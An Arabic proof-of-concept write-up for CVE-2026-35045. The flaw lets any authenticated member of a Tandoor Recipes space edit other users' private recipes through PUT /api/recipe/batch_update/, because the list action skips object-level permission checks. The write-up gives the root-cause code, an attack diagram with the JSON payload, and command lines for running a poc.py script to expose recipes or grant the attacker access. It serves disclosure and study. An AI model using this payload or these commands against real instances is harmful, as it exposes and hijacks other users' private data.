
إثبات مفهوم لاستغلال CVE-2026-35045، وهي ثغرة في تفويض الوصول على مستوى الكائنات في تطبيق Tandoor Recipes، توضح تعديل الوصفات غير المصرح به عبر نقطة نهاية واجهة برمجة التطبيقات batch_update.
تسمح نقطة النهاية PUT /api/recipe/batch_update/ في Tandoor Recipes الإصدار 2.6.1 لأي مستخدم مصادق عليه داخل مساحة (Space) بتعديل أي وصفة في تلك المساحة — بما في ذلك الوصفات الخاصة المملوكة لمستخدمين آخرين. هذا يتجاوز تمامًا فحوصات التفويض على مستوى الكائن المفروضة على جميع نقاط نهاية الوصفات الفردية القياسية.
السبب الجذري هو فجوة سلوكية في Django REST Framework: إجراءات القائمة (detail=False) لا تستدعي أبدًا has_object_permission()، بل تستدعي فقط has_permission(). تقوم تصفية مجموعة الاستعلام (queryset) فقط على space=request.space، دون أي فحص لـ created_by أو private أو قائمة shared. يمكن للمهاجم إجبار الوصفات الخاصة على الظهور، ومنح نفسه وصولًا دائمًا، وسحب صلاحيات المستخدمين الآخرين، والتلاعب بالبيانات الوصفية — كل ذلك في استدعاء API واحد يبدو غير مصرح به ويعيد HTTP 200 OK بجسم فارغ.
| الحقل | القيمة |
|---|---|
| معرف CVE | CVE-2026-35045 |
| GHSA | GHSA-v8x3-w674-55p5 |
| CWE | CWE-639 — تجاوز التفويض عبر مفتاح يتحكم به المستخدم |
| CVSS v3.1 | 8.1 عالية — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| الإصدار المتأثر | Tandoor Recipes ≤ 2.6.1 |
| البائع | TandoorRecipes/recipes |
| معرف التقنية | الاسم | الصلة |
|---|---|---|
| T1078 | حسابات صالحة | يستخدم المهاجم بيانات اعتماد شرعية منخفضة الامتياز لتجاوز التفويض |
| T1565.001 | التلاعب بالبيانات المخزنة | تعديل الوصفات الخاصة وقوائم التحكم بالوصول (ACLs) المملوكة لمستخدمين آخرين |
detail=False يتجاوز فحوصات صلاحيات مستوى الكائنالملف: cookbook/views/api.py
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
serializer = self.serializer_class(data=request.data, partial=True)
if serializer.is_valid():
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space # ← لا يوجد فحص created_by أو private
)
في Django REST Framework، الإجراءات المسجلة بـ detail=False هي إجراءات قائمة. وهي لا تستدعي أبدًا get_object()، مما يعني أن check_object_permissions() و CustomRecipePermission.has_object_permission() لا يتم استدعاؤهما أبدًا. يتم تشغيل has_permission() فقط — والذي يتحقق من عضوية المساحة، وليس ملكية الوصفة.
PUT /api/recipe/{id}/ يتبع تدفق صلاحيات DRF الكامل:
get_object()
→ check_object_permissions()
→ CustomRecipePermission.has_object_permission()
→ يرفض الوصول إذا كانت الوصفة خاصة وغير مملوكة/مشاركة مع الطالب
نقطة نهاية batch_update تتخطى هذه السلسلة بأكملها بصمت.
يكشف RecipeBatchUpdateSerializer عن الحقول التالية — قابلة للكتابة على أي وصفة في المساحة:
| الحقل | التأثير |
|---|---|
private | تبديل رؤية الوصفة |
shared_add / shared_remove / shared_set | التلاعب بقائمة التحكم بالوصول |
keywords_add / keywords_remove / keywords_set | تغيير البيانات الوصفية للوصفة |
working_time / waiting_time | تعديل بيانات توقيت الوصفة |
┌──────────┐ ① PUT /api/recipe/batch_update/ ┌─────────────────┐
│ المهاجم │ ─────────────────────────────────────→│ خادم Tandoor │
│ (المستخدم B) │ {"recipes":[2],"private":false, │ │
│ │ "shared_add":[2]} │ has_permission()│
└──────────┘ │ ✓ (عضو في المساحة)│
│ │
│ has_object_ │
│ permission() │
│ ✗ لا يُستدعى أبدًا │
└────────┬────────┘
│
② Recipe.objects.filter(
id__in=[2],
space=request.space
) ← لا يوجد فحص ملكية
│
▼
┌────────────────┐
│ الوصفة ID 2 │
│ (مملوكة لـ A) │
│ private=false ← تم التعديل
│ shared=[2] ← منح ذاتي
└────────┬───────┘
│
③ HTTP 200 OK — {}
│
▼
┌────────────────┐
│ المهاجم (B) │
│ لديه الآن وصول │
│ كامل إلى │
│ الوصفة ID 2 │
└────────────────┘
requestspip install requests
# إجبار وصفة خاصة على الظهور ومنح الوصول ذاتيًا (الافتراضي)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2
# الإجبار على الظهور فقط (تعيين private=false)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action expose
# المنح الذاتي فقط (إضافة إلى قائمة المشاركة، مع إبقاء private=true)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action self_grant
| الإجراء | الوصف |
|---|---|
expose | يعيّن private: false على الوصفة المستهدفة — يجبرها على الظهور لجميع أعضاء المساحة |
self_grant | يضيف معرف المستخدم المهاجم إلى shared_add — يمنح وصولًا دائمًا حتى لو بقيت الوصفة خاصة |
both | ينفذ كلا الإجراءين في طلب واحد (الافتراضي) |